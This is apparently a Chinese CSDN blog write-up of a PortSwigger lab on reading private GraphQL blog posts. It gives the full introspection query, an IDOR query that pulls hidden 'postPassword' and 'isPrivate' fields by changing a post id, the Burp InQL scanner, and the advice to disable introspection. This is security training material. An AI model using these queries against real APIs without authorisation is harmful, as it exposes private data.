GraphQL API-通过未被净化的参数获取隐私信息

文章讲述了如何通过不安全的直接对象引用(IDOR)利用GraphQLAPI获取隐藏的博客文章信息,包括使用introspection查询来揭露敏感参数,以及使用工具如Burp和GraphQLVisualizer辅助检测和修复过程。
摘要由CSDN通过智能技术生成

GraphQL API-通过未被净化的参数获取隐私信息

Lab: Accessing private GraphQL posts

实验前置必要知识点

GraphQL端点发送任何query{__typename},它将在其响应中的某处包含{"data": {"__typename": "query"}}字符串,这被称为通用查询。
查询之所以有效,是因为每个 GraphQL 端点都有一个名为__typename的保留字段,该字段以字符串形式返回查询对象的类型。

GraphQL 服务通常会用query not present或类似错误来响应任何非 GraphQL 请求。

GraphQL端点通常只接受content-typeapplication/jsonPOST请求,因为这样有助于防范CSRF漏洞,但是也可能会存在例外的情况,例如支持GET请求或者接受content-typex-www-form-urlencodedPOST请求。

寻找关于GraphQL漏洞的时候,测试查询参数是否被净化是一个很好的起点,API使用参数直接访问对象,则可能容易受到访问控制漏洞的攻击。用户可以通过提供与该信息相对应的参数来访问他们不应该拥有的信息。这有时称为不安全的直接对象引用 (IDOR)

要发现架构信息,查询__schema字段,此字段在所有查询的根类型上可用。

//例如
#Introspection probe request

{
    "query": "{__schema{queryType{name}}}"
}
x-www-form-urlencoded
`x-www-form-urlencoded` 是一种经典且广泛支持的编码格式,特别适用于向服务器发送简单的表单数据

`x-www-form-urlencoded` 是一种常见的表单数据编码格式,通常用于将表单数据发送到服务器。在这种编码格式下,表单数据被转换为键值对的形式,并使用特定的编码规则进行编码,以便在 HTTP 请求中传输。

例如以下

name=John%20Doe&age=25&email=johndoe%40example.com

实验要求

这个实验室的博客页面包含一个隐藏的博客文章,它有一个秘密密码。要解决实验室,找到隐藏的博客文章,并输入密码。

渗透开始

  • 访问对应靶场界面

    https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts
    
  • 启动靶场

    1. 站点分析

    这是博客类型的网站,仅存在一个HOME目录

图片


博客仅存在查看功能,无额外功能点。

图片

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,该博客通过查询id返回博客内容

图片


但是具体的查询内容是通过graphql端点查询query返回

图片


题目的说法是寻找隐藏的博客,通过枚举id确认是3为隐藏博客

图片

3. 功能点测试

graphql端点对应的日志信息发送到重放模块

图片


尝试修改POST请求

{"query":"\n    query getBlogPost($id: Int!) {\n        getBlogPost(id: $id) {\n            image\n            title\n            author\n            date\n            paragraphs\n        }\n    }","operationName":"getBlogPost","variables":{"id":4}}

改为查询根上内容

{
    "query": "{__schema{queryType{name}}}"
}

获得了根内容query

图片


构造内容查询内部所有参数

{
    "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue }  } } }fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}

通过这种方法查询到了所有的参数

图片


查询前的参数

   "getBlogPost": {
      "image": "/image/blog/posts/37.jpg",
      "title": "Importance of Relaxing",
      "author": "Roger That",
      "date": "2023-07-12T05:43:18.773Z",
      "paragraphs": []
      }

查询后的参数

           {
              "name": "image", },
            {
              "name": "title", },
            {
              "name": "author",},
            {
              "name": "date", },
            {
              "name": "summary", },
            {
              "name": "paragraphs",},
            {
              "name": "isPrivate",},
            {
              "name": "postPassword",
          ]

很直观的发现多了summary idPrivate postPassword
重新构造查询参数查询这些隐藏参数的值

{"query":"\n    query getBlogPost($id: Int!) {\n        getBlogPost(id: $id) {summary \n isPrivate \n postPassword}\n    }","operationName":"getBlogPost","variables":{"id":4}}

图片


因为我们要查询的是id为3的隐藏博客修改后查看
成功获取了postPassword的秘密内容

图片

4.完成实验

提交后完成试验

图片

图片

5.使用burp工具辅助完成试验

Burp中给我们提供了专门的GraphQL API的扫描器

InQL - Introspection GraphQL Scanner

图片

首先我们要下载jython-standalone 用jar调用python的插件
之后我们运行该插件

当我们发现存在GraphQL的时候可以点击InQL

图片


直观的显示了内容

图片


之后我们复制存在GraphQL端点的URL发送到扫描器

图片


会直观的显示隐藏的参数

6.使用可视化工具辅助查看

http://nathanrandal.com/graphql-visualizer/
将发现的所有内容放入该工具可以辅助进行查看

图片

修复方案

禁用查看内省的功能

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 8
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值